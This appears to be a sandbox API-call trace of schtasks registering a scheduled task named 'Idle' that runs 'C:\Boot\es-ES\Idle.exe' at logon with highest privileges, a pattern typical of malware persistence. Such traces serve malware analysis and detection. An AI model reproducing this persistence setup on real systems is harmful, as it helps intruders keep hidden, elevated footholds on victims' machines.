0 [0133.999] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x16d250, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0133.999] lstrlenW (lpString="MONTHLY") returned 7 [0133.999] GetProcessHeap () returned 0x150000 [0133.999] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x10) returned 0x16d610 [0133.999] GetThreadLocale () returned 0x409 [0133.999] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0133.999] _memicmp (_Buf1=0x16ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.999] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x16d250, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0133.999] lstrlenW (lpString="ONCE") returned 4 [0133.999] GetProcessHeap () returned 0x150000 [0133.999] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0xa) returned 0x16d630 [0133.999] GetThreadLocale () returned 0x409 [0133.999] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0133.999] _memicmp (_Buf1=0x16ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.999] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x16d250, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0133.999] lstrlenW (lpString="ONSTART") returned 7 [0133.999] GetThreadLocale () returned 0x409 [0133.999] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0133.999] _memicmp (_Buf1=0x16ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.999] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x16d250, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0134.000] lstrlenW (lpString="ONLOGON") returned 7 [0134.000] GetThreadLocale () returned 0x409 [0134.000] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0134.000] SetLastError (dwErrCode=0x0) [0134.000] GetProcessHeap () returned 0x150000 [0134.000] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x1fc) returned 0x16c220 [0134.000] _memicmp (_Buf1=0x16ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.000] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x16d250, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0134.000] lstrlenW (lpString="First") returned 5 [0134.000] _memicmp (_Buf1=0x16ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.000] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x16d250, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0134.000] lstrlenW (lpString="Second") returned 6 [0134.000] _memicmp (_Buf1=0x16ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.000] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x16d250, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0134.000] lstrlenW (lpString="Third") returned 5 [0134.000] _memicmp (_Buf1=0x16ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.000] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x16d250, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0134.000] lstrlenW (lpString="Fourth") returned 6 [0134.000] _memicmp (_Buf1=0x16ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.000] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x16d250, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0134.000] lstrlenW (lpString="Last") returned 4 [0134.000] _memicmp (_Buf1=0x16ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.000] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x16d250, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0134.001] lstrlenW (lpString="First") returned 5 [0134.001] _memicmp (_Buf1=0x16ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.001] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x16d250, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0134.001] lstrlenW (lpString="Second") returned 6 [0134.001] _memicmp (_Buf1=0x16ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.001] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x16d250, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0134.001] lstrlenW (lpString="Third") returned 5 [0134.001] GetProcessHeap () returned 0x150000 [0134.001] GetProcessHeap () returned 0x150000 [0134.001] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d630) returned 1 [0134.001] GetProcessHeap () returned 0x150000 [0134.001] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d630) returned 0xa [0134.001] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d630 | out: hHeap=0x150000) returned 1 [0134.001] GetProcessHeap () returned 0x150000 [0134.001] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0xc) returned 0x16d630 [0134.001] _memicmp (_Buf1=0x16ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.001] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x16d250, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0134.001] lstrlenW (lpString="Fourth") returned 6 [0134.001] _memicmp (_Buf1=0x16ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.001] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x16d250, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0134.001] lstrlenW (lpString="Last") returned 4 [0134.001] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xfc3e0, cchData=128 | out: lpLCData="0") returned 2 [0134.002] _memicmp (_Buf1=0x16ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.002] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x16d250, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0134.002] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0134.002] GetProcessHeap () returned 0x150000 [0134.002] GetProcessHeap () returned 0x150000 [0134.002] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d550) returned 1 [0134.002] GetProcessHeap () returned 0x150000 [0134.002] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d550) returned 0x10 [0134.002] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d550 | out: hHeap=0x150000) returned 1 [0134.002] GetProcessHeap () returned 0x150000 [0134.002] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x16) returned 0x16d550 [0134.002] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xfc400, cchData=128 | out: lpLCData="0") returned 2 [0134.002] _memicmp (_Buf1=0x16ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.002] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x16d250, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0134.002] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0134.002] GetProcessHeap () returned 0x150000 [0134.002] GetProcessHeap () returned 0x150000 [0134.002] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d570) returned 1 [0134.002] GetProcessHeap () returned 0x150000 [0134.002] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d570) returned 0x10 [0134.002] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d570 | out: hHeap=0x150000) returned 1 [0134.002] GetProcessHeap () returned 0x150000 [0134.002] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x16) returned 0x16d570 [0134.002] GetLocalTime (in: lpSystemTime=0xfc630 | out: lpSystemTime=0xfc630*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x39, wMilliseconds=0x38c)) [0134.003] GetLocalTime (in: lpSystemTime=0xfcee8 | out: lpSystemTime=0xfcee8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x39, wMilliseconds=0x38c)) [0134.003] lstrlenW (lpString="") returned 0 [0134.003] lstrlenW (lpString="") returned 0 [0134.003] lstrlenW (lpString="") returned 0 [0134.003] lstrlenW (lpString="") returned 0 [0134.003] lstrlenW (lpString="") returned 0 [0134.003] lstrlenW (lpString="") returned 0 [0134.003] lstrlenW (lpString="") returned 0 [0134.003] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0134.060] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0134.119] CoCreateInstance (in: rclsid=0xff121ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff121ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xfccb0 | out: ppv=0xfccb0*=0x317990) returned 0x0 [0134.131] TaskScheduler:ITaskService:Connect (This=0x317990, serverName=0xfcd90*(varType=0x8, wReserved1=0xf, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xfcd50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0xfcd70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xfcd30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0134.141] TaskScheduler:IUnknown:AddRef (This=0x317990) returned 0x2 [0134.141] TaskScheduler:ITaskService:GetFolder (in: This=0x317990, Path=0x0, ppFolder=0xfce48 | out: ppFolder=0xfce48*=0x317b50) returned 0x0 [0134.254] TaskScheduler:ITaskService:NewTask (in: This=0x317990, flags=0x0, ppDefinition=0xfce40 | out: ppDefinition=0xfce40*=0x317ba0) returned 0x0 [0134.255] ITaskDefinition:get_Actions (in: This=0x317ba0, ppActions=0xfcdc0 | out: ppActions=0xfcdc0*=0x317c60) returned 0x0 [0134.255] IActionCollection:Create (in: This=0x317c60, Type=0, ppAction=0xfcde0 | out: ppAction=0xfcde0*=0x316000) returned 0x0 [0134.255] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0134.255] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0134.256] lstrlenW (lpString=" ") returned 1 [0134.256] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0134.256] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0134.256] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0134.256] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0134.256] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0134.256] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0134.256] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0134.256] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0134.256] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0134.256] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0134.256] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0134.256] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0134.256] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0134.256] StrChrW (lpStart=" ", wMatch=0x45) returned 0x0 [0134.256] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0134.256] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0134.256] StrChrW (lpStart=" ", wMatch=0x49) returned 0x0 [0134.256] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0134.256] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0134.256] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0134.256] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0134.256] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0134.256] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0134.256] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0134.256] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0134.257] IUnknown:Release (This=0x316000) returned 0x1 [0134.257] IUnknown:Release (This=0x317c60) returned 0x1 [0134.257] ITaskDefinition:get_Triggers (in: This=0x317ba0, ppTriggers=0xfc940 | out: ppTriggers=0xfc940*=0x317da0) returned 0x0 [0134.257] ITriggerCollection:Create (in: This=0x317da0, Type=9, ppTrigger=0xfc938 | out: ppTrigger=0xfc938*=0x316070) returned 0x0 [0134.257] IUnknown:QueryInterface (in: This=0x316070, riid=0xff121c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0xfc930 | out: ppvObject=0xfc930*=0x316070) returned 0x0 [0134.257] IUnknown:Release (This=0x316070) returned 0x2 [0134.257] _vsnwprintf (in: _Buffer=0xfc880, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xfc858 | out: _Buffer="2022-08-06T02:18:00") returned 19 [0134.258] ITrigger:put_StartBoundary (This=0x316070, StartBoundary="2022-08-06T02:18:00") returned 0x0 [0134.258] lstrlenW (lpString="") returned 0 [0134.258] lstrlenW (lpString="") returned 0 [0134.258] lstrlenW (lpString="") returned 0 [0134.258] lstrlenW (lpString="") returned 0 [0134.258] IUnknown:Release (This=0x316070) returned 0x1 [0134.258] IUnknown:Release (This=0x317da0) returned 0x1 [0134.258] ITaskDefinition:get_Settings (in: This=0x317ba0, ppSettings=0xfcde0 | out: ppSettings=0xfcde0*=0x317e10) returned 0x0 [0134.259] lstrlenW (lpString="") returned 0 [0134.259] IUnknown:Release (This=0x317e10) returned 0x1 [0134.259] GetLocalTime (in: lpSystemTime=0xfcc98 | out: lpSystemTime=0xfcc98*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x3a, wMilliseconds=0x9d)) [0134.259] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0134.259] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0134.259] GetUserNameW (in: lpBuffer=0xfccc0, pcbBuffer=0xfcca8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0xfcca8) returned 1 [0134.266] ITaskDefinition:get_RegistrationInfo (in: This=0x317ba0, ppRegistrationInfo=0xfcc90 | out: ppRegistrationInfo=0xfcc90*=0x317ce0) returned 0x0 [0134.267] IRegistrationInfo:put_Author (This=0x317ce0, Author="") returned 0x0 [0134.267] _vsnwprintf (in: _Buffer=0xfccc0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xfcc58 | out: _Buffer="2022-08-06T02:18:58") returned 19 [0134.267] IRegistrationInfo:put_Date (This=0x317ce0, Date="") returned 0x0 [0134.267] IUnknown:Release (This=0x317ce0) returned 0x1 [0134.267] malloc (_Size=0x18) returned 0x316160 [0134.267] free (_Block=0x316160) [0134.267] lstrlenW (lpString="") returned 0 [0134.267] ITaskDefinition:get_Principal (in: This=0x317ba0, ppPrincipal=0xfceb0 | out: ppPrincipal=0xfceb0*=0x315f50) returned 0x0 [0134.268] IPrincipal:put_RunLevel (This=0x315f50, RunLevel=1) returned 0x0 [0134.268] IUnknown:Release (This=0x315f50) returned 0x1 [0134.268] malloc (_Size=0x18) returned 0x316160 [0134.268] ITaskFolder:RegisterTaskDefinition (in: This=0x317b50, Path="Idle", pDefinition=0x317ba0, flags=6, UserId=0xfcf30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xfcf70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfee40, varVal2=0xfe), LogonType=3, sddl=0xfcf50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xfce50 | out: ppTask=0xfce50*=0x3161a0) returned 0x0 [0134.780] free (_Block=0x316160) [0134.780] _memicmp (_Buf1=0x16ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.780] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x16d250, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0134.781] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0134.781] GetProcessHeap () returned 0x150000 [0134.781] GetProcessHeap () returned 0x150000 [0134.781] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d590) returned 1 [0134.781] GetProcessHeap () returned 0x150000 [0134.781] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d590) returned 0xe [0134.781] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d590 | out: hHeap=0x150000) returned 1 [0134.781] GetProcessHeap () returned 0x150000 [0134.781] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x82) returned 0x1898d0 [0134.781] _vsnwprintf (in: _Buffer=0xfd590, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xfcdf8 | out: _Buffer="SUCCESS: The scheduled task \"Idle\" has successfully been created.\n") returned 66 [0134.781] _fileno (_File=0x7fefed02ab0) returned -2 [0134.781] _errno () returned 0x314bb0 [0134.781] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0134.781] SetLastError (dwErrCode=0x6) [0134.781] lstrlenW (lpString="SUCCESS: The scheduled task \"Idle\" has successfully been created.\n") returned 66 [0134.781] GetConsoleOutputCP () returned 0x0 [0134.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"Idle\" has successfully been created.\n", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0134.781] GetConsoleOutputCP () returned 0x0 [0134.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"Idle\" has successfully been created.\n", cchWideChar=66, lpMultiByteStr=0xff161880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"Idle\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 66 [0134.782] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 66 [0134.782] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0134.782] IUnknown:Release (This=0x3161a0) returned 0x0 [0134.782] TaskScheduler:IUnknown:Release (This=0x317ba0) returned 0x0 [0134.782] TaskScheduler:IUnknown:Release (This=0x317b50) returned 0x0 [0134.782] TaskScheduler:IUnknown:Release (This=0x317990) returned 0x1 [0134.782] lstrlenW (lpString="") returned 0 [0134.782] GetProcessHeap () returned 0x150000 [0134.782] GetProcessHeap () returned 0x150000 [0134.782] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16c220) returned 1 [0134.782] GetProcessHeap () returned 0x150000 [0134.782] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16c220) returned 0x1fc [0134.783] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16c220 | out: hHeap=0x150000) returned 1 [0134.783] GetProcessHeap () returned 0x150000 [0134.783] GetProcessHeap () returned 0x150000 [0134.783] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d4b0) returned 1 [0134.783] GetProcessHeap () returned 0x150000 [0134.783] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d4b0) returned 0x16 [0134.783] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d4b0 | out: hHeap=0x150000) returned 1 [0134.783] GetProcessHeap () returned 0x150000 [0134.783] GetProcessHeap () returned 0x150000 [0134.783] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d530) returned 1 [0134.783] GetProcessHeap () returned 0x150000 [0134.783] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d530) returned 0x18 [0134.783] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d530 | out: hHeap=0x150000) returned 1 [0134.783] GetProcessHeap () returned 0x150000 [0134.783] GetProcessHeap () returned 0x150000 [0134.783] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cd20) returned 1 [0134.783] GetProcessHeap () returned 0x150000 [0134.783] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cd20) returned 0x20 [0134.783] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cd20 | out: hHeap=0x150000) returned 1 [0134.783] GetProcessHeap () returned 0x150000 [0134.783] GetProcessHeap () returned 0x150000 [0134.784] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16bfc0) returned 1 [0134.784] GetProcessHeap () returned 0x150000 [0134.784] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16bfc0) returned 0xa0 [0134.784] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16bfc0 | out: hHeap=0x150000) returned 1 [0134.784] GetProcessHeap () returned 0x150000 [0134.784] GetProcessHeap () returned 0x150000 [0134.784] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16ba40) returned 1 [0134.784] GetProcessHeap () returned 0x150000 [0134.784] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16ba40) returned 0x18 [0134.784] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16ba40 | out: hHeap=0x150000) returned 1 [0134.784] GetProcessHeap () returned 0x150000 [0134.784] GetProcessHeap () returned 0x150000 [0134.784] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cae0) returned 1 [0134.784] GetProcessHeap () returned 0x150000 [0134.784] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cae0) returned 0x20 [0134.785] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cae0 | out: hHeap=0x150000) returned 1 [0134.785] GetProcessHeap () returned 0x150000 [0134.785] GetProcessHeap () returned 0x150000 [0134.785] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x167ae0) returned 1 [0134.785] GetProcessHeap () returned 0x150000 [0134.785] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x167ae0) returned 0x32 [0134.786] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x167ae0 | out: hHeap=0x150000) returned 1 [0134.786] GetProcessHeap () returned 0x150000 [0134.786] GetProcessHeap () returned 0x150000 [0134.786] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d490) returned 1 [0134.786] GetProcessHeap () returned 0x150000 [0134.786] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d490) returned 0x18 [0134.786] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d490 | out: hHeap=0x150000) returned 1 [0134.786] GetProcessHeap () returned 0x150000 [0134.786] GetProcessHeap () returned 0x150000 [0134.786] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cab0) returned 1 [0134.786] GetProcessHeap () returned 0x150000 [0134.786] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cab0) returned 0x20 [0134.787] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cab0 | out: hHeap=0x150000) returned 1 [0134.787] GetProcessHeap () returned 0x150000 [0134.787] GetProcessHeap () returned 0x150000 [0134.787] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x167a60) returned 1 [0134.787] GetProcessHeap () returned 0x150000 [0134.787] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x167a60) returned 0x34 [0134.787] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x167a60 | out: hHeap=0x150000) returned 1 [0134.788] GetProcessHeap () returned 0x150000 [0134.788] GetProcessHeap () returned 0x150000 [0134.788] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d510) returned 1 [0134.788] GetProcessHeap () returned 0x150000 [0134.788] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d510) returned 0x18 [0134.788] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d510 | out: hHeap=0x150000) returned 1 [0134.788] GetProcessHeap () returned 0x150000 [0134.788] GetProcessHeap () returned 0x150000 [0134.788] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16ca80) returned 1 [0134.788] GetProcessHeap () returned 0x150000 [0134.788] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16ca80) returned 0x20 [0134.788] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16ca80 | out: hHeap=0x150000) returned 1 [0134.788] GetProcessHeap () returned 0x150000 [0134.788] GetProcessHeap () returned 0x150000 [0134.788] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d4f0) returned 1 [0134.789] GetProcessHeap () returned 0x150000 [0134.789] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d4f0) returned 0xe [0134.789] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d4f0 | out: hHeap=0x150000) returned 1 [0134.789] GetProcessHeap () returned 0x150000 [0134.789] GetProcessHeap () returned 0x150000 [0134.789] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d4d0) returned 1 [0134.789] GetProcessHeap () returned 0x150000 [0134.789] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d4d0) returned 0x18 [0134.789] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d4d0 | out: hHeap=0x150000) returned 1 [0134.789] GetProcessHeap () returned 0x150000 [0134.789] GetProcessHeap () returned 0x150000 [0134.789] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165d20) returned 1 [0134.789] GetProcessHeap () returned 0x150000 [0134.789] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165d20) returned 0x20 [0134.789] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165d20 | out: hHeap=0x150000) returned 1 [0134.789] GetProcessHeap () returned 0x150000 [0134.789] GetProcessHeap () returned 0x150000 [0134.790] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16bbc0) returned 1 [0134.790] GetProcessHeap () returned 0x150000 [0134.790] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16bbc0) returned 0x208 [0134.790] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16bbc0 | out: hHeap=0x150000) returned 1 [0134.790] GetProcessHeap () returned 0x150000 [0134.790] GetProcessHeap () returned 0x150000 [0134.790] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16ba20) returned 1 [0134.791] GetProcessHeap () returned 0x150000 [0134.791] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16ba20) returned 0x18 [0134.791] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16ba20 | out: hHeap=0x150000) returned 1 [0134.791] GetProcessHeap () returned 0x150000 [0134.791] GetProcessHeap () returned 0x150000 [0134.791] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165c30) returned 1 [0134.791] GetProcessHeap () returned 0x150000 [0134.791] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165c30) returned 0x20 [0134.792] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165c30 | out: hHeap=0x150000) returned 1 [0134.792] GetProcessHeap () returned 0x150000 [0134.792] GetProcessHeap () returned 0x150000 